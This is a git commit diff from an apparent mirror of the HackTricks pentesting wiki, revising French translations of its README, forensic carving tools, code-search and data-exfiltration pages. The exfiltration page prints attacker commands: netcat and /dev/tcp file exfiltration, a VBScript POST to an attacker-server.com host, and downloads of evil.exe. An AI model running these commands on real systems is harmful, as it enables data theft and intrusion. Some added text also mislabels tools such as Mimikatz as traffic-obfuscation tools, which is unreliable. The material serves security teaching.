mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 14:08:26 +00:00
Translated ['README.md', 'forensics/basic-forensic-methodology/partition
This commit is contained in:
parent
384e408455
commit
4db230a3f8
43 changed files with 1397 additions and 642 deletions
49
README.md
49
README.md
|
@ -1,8 +1,8 @@
|
|||
# Astuces de Piratage
|
||||
# HackTricks
|
||||
|
||||
<figure><img src=".gitbook/assets/hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_Logos et design de mouvement Hacktricks par_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
_Logos et design en mouvement de Hacktricks par_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
{% hint style="success" %}
|
||||
**Bienvenue sur le wiki où vous trouverez chaque astuce/technique de piratage/ce que j'ai appris des CTFs, des applications de la vie réelle, de la lecture de recherches et de l'actualité.**
|
||||
|
@ -14,11 +14,7 @@ Pour commencer, suivez cette page où vous trouverez le **flux typique** que **v
|
|||
[pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Sponsors Platine
|
||||
|
||||
_Votre entreprise pourrait être ici._
|
||||
|
||||
## Sponsors Corporate
|
||||
## Sponsors d'Entreprise
|
||||
|
||||
### [STM Cyber](https://www.stmcyber.com)
|
||||
|
||||
|
@ -30,6 +26,8 @@ Vous pouvez consulter leur **blog** sur [**https://blog.stmcyber.com**](https://
|
|||
|
||||
**STM Cyber** soutient également des projets open source en cybersécurité comme HackTricks :)
|
||||
|
||||
***
|
||||
|
||||
### [RootedCON](https://www.rootedcon.com/)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
@ -37,6 +35,7 @@ Vous pouvez consulter leur **blog** sur [**https://blog.stmcyber.com**](https://
|
|||
[**RootedCON**](https://www.rootedcon.com) est l'événement le plus pertinent en cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
***
|
||||
|
||||
### [Intigriti](https://www.intigriti.com)
|
||||
|
||||
|
@ -44,10 +43,12 @@ Vous pouvez consulter leur **blog** sur [**https://blog.stmcyber.com**](https://
|
|||
|
||||
**Intigriti** est la plateforme de piratage éthique **n°1 en Europe** et de **bug bounty**.
|
||||
|
||||
**Conseil de bug bounty**: **Inscrivez-vous** sur **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers**! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $**!
|
||||
**Astuce de bug bounty**: **Inscrivez-vous** sur **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers**! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
***
|
||||
|
||||
### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
@ -59,20 +60,22 @@ Accédez dès aujourd'hui:
|
|||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
***
|
||||
|
||||
### [HACKENPROOF](https://bit.ly/3xrrDrL)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs!
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes!
|
||||
|
||||
**Perspectives de Piratage**\
|
||||
Engagez-vous avec du contenu qui explore le frisson et les défis du piratage
|
||||
|
||||
**Actualités de Piratage en Temps Réel**\
|
||||
Restez informé du monde du piratage en temps réel à travers des actualités et des perspectives
|
||||
Restez informé sur le monde du piratage à rythme rapide grâce aux actualités et aux perspectives en temps réel
|
||||
|
||||
**Dernières Annonces**\
|
||||
Restez informé des derniers bug bounties lancés et des mises à jour cruciales de la plateforme
|
||||
Restez informé des derniers lancements de bug bounties et des mises à jour cruciales de la plateforme
|
||||
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui!
|
||||
|
||||
|
@ -82,17 +85,27 @@ Restez informé des derniers bug bounties lancés et des mises à jour cruciales
|
|||
|
||||
<figure><img src=".gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests d'intrusion**. Exécutez un test d'intrusion complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les testeurs d'intrusion - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner plus de temps pour creuser plus profondément, ouvrir des shells et s'amuser.
|
||||
**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Effectuez un test d'intrusion complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance aux rapports. Nous ne remplaçons pas les testeurs d'intrusion - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
***
|
||||
|
||||
### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### [WebSec](https://websec.nl/)
|
||||
|
||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.nl) est une entreprise de cybersécurité professionnelle basée à **Amsterdam** qui aide à **protéger** les entreprises **du monde entier** contre les dernières menaces en cybersécurité en fournissant des services de **sécurité offensive** avec une approche **moderne**.
|
||||
[**WebSec**](https://websec.nl) est une entreprise de cybersécurité professionnelle basée à **Amsterdam** qui aide à **protéger** les entreprises **du monde entier** contre les dernières menaces en cybersécurité en fournissant des services de **sécurité offensive** avec une **approche moderne**.
|
||||
|
||||
WebSec est une **entreprise de sécurité tout-en-un** ce qui signifie qu'ils font tout; Tests d'intrusion, Audits de sécurité, Formations en sensibilisation, Campagnes de phishing, Revue de code, Développement d'exploits, Externalisation d'experts en sécurité et bien plus encore.
|
||||
WebSec est une entreprise de sécurité **tout-en-un**, ce qui signifie qu'ils font tout; Tests d'intrusion, Audits de sécurité, Formations en sensibilisation, Campagnes de phishing, Revue de code, Développement d'exploits, Externalisation d'experts en sécurité et bien plus encore.
|
||||
|
||||
Une autre chose cool à propos de WebSec est que contrairement à la moyenne de l'industrie, WebSec est **très confiant dans ses compétences**, à tel point qu'ils **garantissent les meilleurs résultats de qualité**, il est indiqué sur leur site web "**Si nous ne pouvons pas le pirater, vous ne le payez pas!**". Pour plus d'informations, consultez leur [**site web**](https://websec.nl/en/) et leur [**blog**](https://websec.nl/blog/)!
|
||||
|
||||
|
@ -102,7 +115,7 @@ En plus de ce qui précède, WebSec est également un **supporter engagé de Hac
|
|||
|
||||
## Licence & Avertissement
|
||||
|
||||
**Consultez-les dans:**
|
||||
**Consultez-les sur:**
|
||||
|
||||
{% content-ref url="welcome/hacktricks-values-and-faq.md" %}
|
||||
[hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md)
|
||||
|
@ -110,14 +123,14 @@ En plus de ce qui précède, WebSec est également un **supporter engagé de Hac
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,32 +1,40 @@
|
|||
# Outils de Carving & Récupération
|
||||
# Outils de récupération et de sculpture de fichiers/données
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Outils de Carving & Récupération
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Outils de récupération et de sculpture
|
||||
|
||||
Plus d'outils sur [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||
|
||||
### Autopsy
|
||||
|
||||
L'outil le plus couramment utilisé en informatique légale pour extraire des fichiers à partir d'images est [**Autopsy**](https://www.autopsy.com/download/). Téléchargez-le, installez-le et faites-le ingérer le fichier pour trouver des fichiers "cachés". Notez qu'Autopsy est conçu pour prendre en charge les images de disque et d'autres types d'images, mais pas les fichiers simples.
|
||||
L'outil le plus couramment utilisé en informatique légale pour extraire des fichiers à partir d'images est [**Autopsy**](https://www.autopsy.com/download/). Téléchargez-le, installez-le et faites-lui ingérer le fichier pour trouver des fichiers "cachés". Notez qu'Autopsy est conçu pour prendre en charge les images de disque et d'autres types d'images, mais pas les fichiers simples.
|
||||
|
||||
### Binwalk <a href="#binwalk" id="binwalk"></a>
|
||||
|
||||
**Binwalk** est un outil d'analyse des fichiers binaires pour trouver du contenu intégré. Il est installable via `apt` et son code source se trouve sur [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
|
||||
**Commandes utiles**:
|
||||
**Commandes utiles** :
|
||||
```bash
|
||||
sudo apt install binwalk #Insllation
|
||||
binwalk file #Displays the embedded data in the given file
|
||||
|
@ -74,9 +82,9 @@ Consultez le [code](https://code.google.com/archive/p/binvis/) et la [page web d
|
|||
* Multiples graphiques pour différents points de focalisation
|
||||
* Focalisation sur des parties d'un échantillon
|
||||
* **Voir des chaînes et des ressources**, dans des exécutables PE ou ELF par exemple
|
||||
* Obtenir des **motifs** pour la cryptanalyse sur les fichiers
|
||||
* Obtenir des **motifs** pour la cryptanalyse sur des fichiers
|
||||
* **Repérer** les algorithmes de compression ou de codage
|
||||
* **Identifier** la stéganographie par motifs
|
||||
* **Identifier** la stéganographie par des motifs
|
||||
* **Différenciation** binaire visuelle
|
||||
|
||||
BinVis est un excellent **point de départ pour se familiariser avec une cible inconnue** dans un scénario de boîte noire.
|
||||
|
@ -85,7 +93,7 @@ BinVis est un excellent **point de départ pour se familiariser avec une cible i
|
|||
|
||||
### FindAES
|
||||
|
||||
Recherche les clés AES en recherchant leurs plannings de clés. Capable de trouver des clés de 128, 192 et 256 bits, comme celles utilisées par TrueCrypt et BitLocker.
|
||||
Recherche des clés AES en recherchant leurs plannings de clés. Capable de trouver des clés de 128, 192 et 256 bits, comme celles utilisées par TrueCrypt et BitLocker.
|
||||
|
||||
Téléchargez [ici](https://sourceforge.net/projects/findaes/).
|
||||
|
||||
|
@ -93,3 +101,23 @@ Téléchargez [ici](https://sourceforge.net/projects/findaes/).
|
|||
|
||||
Vous pouvez utiliser [**viu** ](https://github.com/atanunq/viu) pour voir des images depuis le terminal.\
|
||||
Vous pouvez utiliser l'outil de ligne de commande linux **pdftotext** pour transformer un pdf en texte et le lire.
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,14 +6,22 @@
|
|||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Si vous voulez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Domaines couramment autorisés pour exfiltrer des informations
|
||||
|
||||
Consultez [https://lots-project.com/](https://lots-project.com/) pour trouver des domaines couramment autorisés qui peuvent être abusés
|
||||
|
@ -57,7 +65,7 @@ Start-BitsTransfer -Source $url -Destination $output -Asynchronous
|
|||
### Téléverser des fichiers
|
||||
|
||||
* [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
|
||||
* [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
|
||||
* [**SimpleHttpServer affiche les GET et POST (également les en-têtes)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
|
||||
* Module Python [uploadserver](https://pypi.org/project/uploadserver/):
|
||||
```bash
|
||||
# Listen to files
|
||||
|
@ -183,26 +191,47 @@ service smbd restart
|
|||
|
||||
### Exfiltration Over Command and Control Channel
|
||||
|
||||
- **Description:** Exfiltrating data over the command and control channel established by the attacker.
|
||||
- **Detection:** Monitor network traffic for unusual patterns or data leaving the network.
|
||||
- **Prevention:** Implement network segmentation and access controls to limit communication channels.
|
||||
When an attacker has compromised a system, they may exfiltrate data over the command and control (C2) channel. This can be done by executing commands on the compromised system to transfer data to the attacker's server.
|
||||
|
||||
### Exfiltration Over Alternative Protocol
|
||||
### Exfiltration Over Alternative Protocols
|
||||
|
||||
- **Description:** Exfiltrating data using protocols not commonly monitored by security tools.
|
||||
- **Detection:** Use deep packet inspection to analyze network traffic for suspicious activities.
|
||||
- **Prevention:** Employ encryption and tunneling to obfuscate exfiltrated data.
|
||||
Attackers may exfiltrate data using alternative protocols such as DNS, ICMP, or HTTPS to bypass network security controls that only monitor traditional protocols like HTTP.
|
||||
|
||||
### Exfiltration Over Unencrypted Protocols
|
||||
### Exfiltration Over Encrypted Channels
|
||||
|
||||
- **Description:** Sending data over unencrypted protocols such as HTTP or FTP.
|
||||
- **Detection:** Monitor network traffic for plaintext data being transmitted.
|
||||
- **Prevention:** Enforce the use of encrypted communication protocols to protect data in transit.
|
||||
To avoid detection, attackers may exfiltrate data over encrypted channels such as SSL/TLS to make it harder for security tools to inspect the data being transferred.
|
||||
|
||||
## Tools
|
||||
|
||||
- **[Tool Name]:** Description of the tool and how it can be used for data exfiltration.
|
||||
- **[Tool Name]:** Description of the tool and how it can be used for data exfiltration.
|
||||
### Data Exfiltration Tools
|
||||
|
||||
- **Netcat**: A versatile networking utility that can be used for data transfer.
|
||||
- **Wget**: A command-line utility for downloading files from the web, which can also be used for exfiltration.
|
||||
- **Curl**: Another command-line tool for transferring data with support for various protocols.
|
||||
|
||||
### C2 Frameworks
|
||||
|
||||
- **Metasploit**: A popular framework for developing and executing exploit code against a remote target machine.
|
||||
- **Cobalt Strike**: A commercial, full-featured, penetration testing tool that includes a robust C2 framework.
|
||||
|
||||
### Traffic Obfuscation Tools
|
||||
|
||||
- **Mimikatz**: A post-exploitation tool that can be used to extract plaintext passwords, hash, PIN code, and kerberos tickets from memory.
|
||||
- **PsExec**: A command-line tool that enables the execution of processes on remote systems.
|
||||
|
||||
## Detection
|
||||
|
||||
### Network Monitoring
|
||||
|
||||
- Monitor network traffic for any unusual patterns or spikes in data transfer volume.
|
||||
- Look for connections to known malicious IP addresses or domains.
|
||||
- Analyze DNS requests for unusual domain names or long subdomains that could be used for data exfiltration.
|
||||
|
||||
### Endpoint Monitoring
|
||||
|
||||
- Monitor system logs for suspicious activities such as large file transfers or unusual process executions.
|
||||
- Look for signs of data encryption or obfuscation techniques being used by attackers.
|
||||
- Implement file integrity monitoring to detect unauthorized changes to sensitive files.
|
||||
```bash
|
||||
CMD-Wind> \\10.10.14.14\path\to\exe
|
||||
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
|
||||
|
@ -236,7 +265,7 @@ nc -vn <IP> 4444 < exfil_file
|
|||
nc -lvnp 80 > file #Inside attacker
|
||||
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
|
||||
```
|
||||
### Télécharger un fichier sur la victime
|
||||
### Téléverser un fichier à la victime
|
||||
```bash
|
||||
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
|
||||
# Inside victim
|
||||
|
@ -265,7 +294,7 @@ sniff(iface="tun0", prn=process_packet)
|
|||
```
|
||||
## **SMTP**
|
||||
|
||||
Si vous pouvez envoyer des données à un serveur SMTP, vous pouvez créer un SMTP pour recevoir les données avec python:
|
||||
Si vous pouvez envoyer des données à un serveur SMTP, vous pouvez créer un serveur SMTP pour recevoir les données avec python:
|
||||
```bash
|
||||
sudo python -m smtpd -n -c DebuggingServer :25
|
||||
```
|
||||
|
@ -299,7 +328,17 @@ echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', '
|
|||
|
||||
### Exfiltration
|
||||
|
||||
VBScript can be used to exfiltrate data by sending it over HTTP or HTTPS to an attacker-controlled server. This can be achieved by creating an HTTP request object, setting the request method, headers, and body, and then sending the request to the server. The server-side script can receive the data and store it in a file or database for later retrieval by the attacker. This technique can be used to exfiltrate sensitive information such as passwords, documents, or system configuration files.
|
||||
VBScript can be used to exfiltrate data by sending it over HTTP or HTTPS to an attacker-controlled server. This can be achieved by creating an HTTP request object, setting the request method and target URL, and sending the data in the request body. The following code snippet demonstrates how data can be exfiltrated using VBScript:
|
||||
|
||||
```vbscript
|
||||
Dim objHTTP
|
||||
Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP")
|
||||
objHTTP.Open "POST", "http://attacker-server.com/data", False
|
||||
objHTTP.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
|
||||
objHTTP.send "data=exfiltrated_data"
|
||||
```
|
||||
|
||||
In this example, the VBScript code creates an HTTP POST request to "http://attacker-server.com/data" with the exfiltrated data in the request body. The attacker can then receive and process the exfiltrated data on their server.
|
||||
```bash
|
||||
Attacker> python -m SimpleHTTPServer 80
|
||||
```
|
||||
|
@ -337,30 +376,36 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
|
|||
```
|
||||
## Debug.exe
|
||||
|
||||
Le programme `debug.exe` non seulement permet l'inspection des binaires, mais a également la **capacité de les reconstruire à partir de l'hexadécimal**. Cela signifie qu'en fournissant un hexadécimal d'un binaire, `debug.exe` peut générer le fichier binaire. Cependant, il est important de noter que debug.exe a une **limite d'assemblage de fichiers jusqu'à 64 ko en taille**.
|
||||
Le programme `debug.exe` permet non seulement l'inspection des binaires, mais a également la **capacité de les reconstruire à partir de l'hexadécimal**. Cela signifie qu'en fournissant un hexadécimal d'un binaire, `debug.exe` peut générer le fichier binaire. Cependant, il est important de noter que debug.exe a une **limite d'assemblage de fichiers jusqu'à 64 ko en taille**.
|
||||
```bash
|
||||
# Reduce the size
|
||||
upx -9 nc.exe
|
||||
wine exe2bat.exe nc.exe nc.txt
|
||||
```
|
||||
## DNS
|
||||
|
||||
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
|
||||
|
||||
Ensuite, copiez-collez le texte dans le shell Windows et un fichier appelé nc.exe sera créé.
|
||||
|
||||
* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
|
||||
|
||||
## DNS
|
||||
|
||||
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,19 +8,27 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
Le but de cette page est d'énumérer les **plateformes permettant de rechercher du code** (littéral ou regex) dans des milliers/millions de dépôts sur une ou plusieurs plateformes.
|
||||
|
||||
Cela aide dans plusieurs occasions à **rechercher des informations divulguées** ou des modèles de **vulnérabilités**.
|
||||
Cela aide dans plusieurs occasions à **rechercher des informations divulguées** ou des **modèles de vulnérabilités**.
|
||||
|
||||
* [**SourceGraph**](https://sourcegraph.com/search) : Recherche dans des millions de dépôts. Il existe une version gratuite et une version entreprise (avec 15 jours gratuits). Il prend en charge les regex.
|
||||
* [**Recherche Github**](https://github.com/search) : Recherche sur Github. Il prend en charge les regex.
|
||||
* Il peut également être utile de consulter [**Recherche de code Github**](https://cs.github.com/).
|
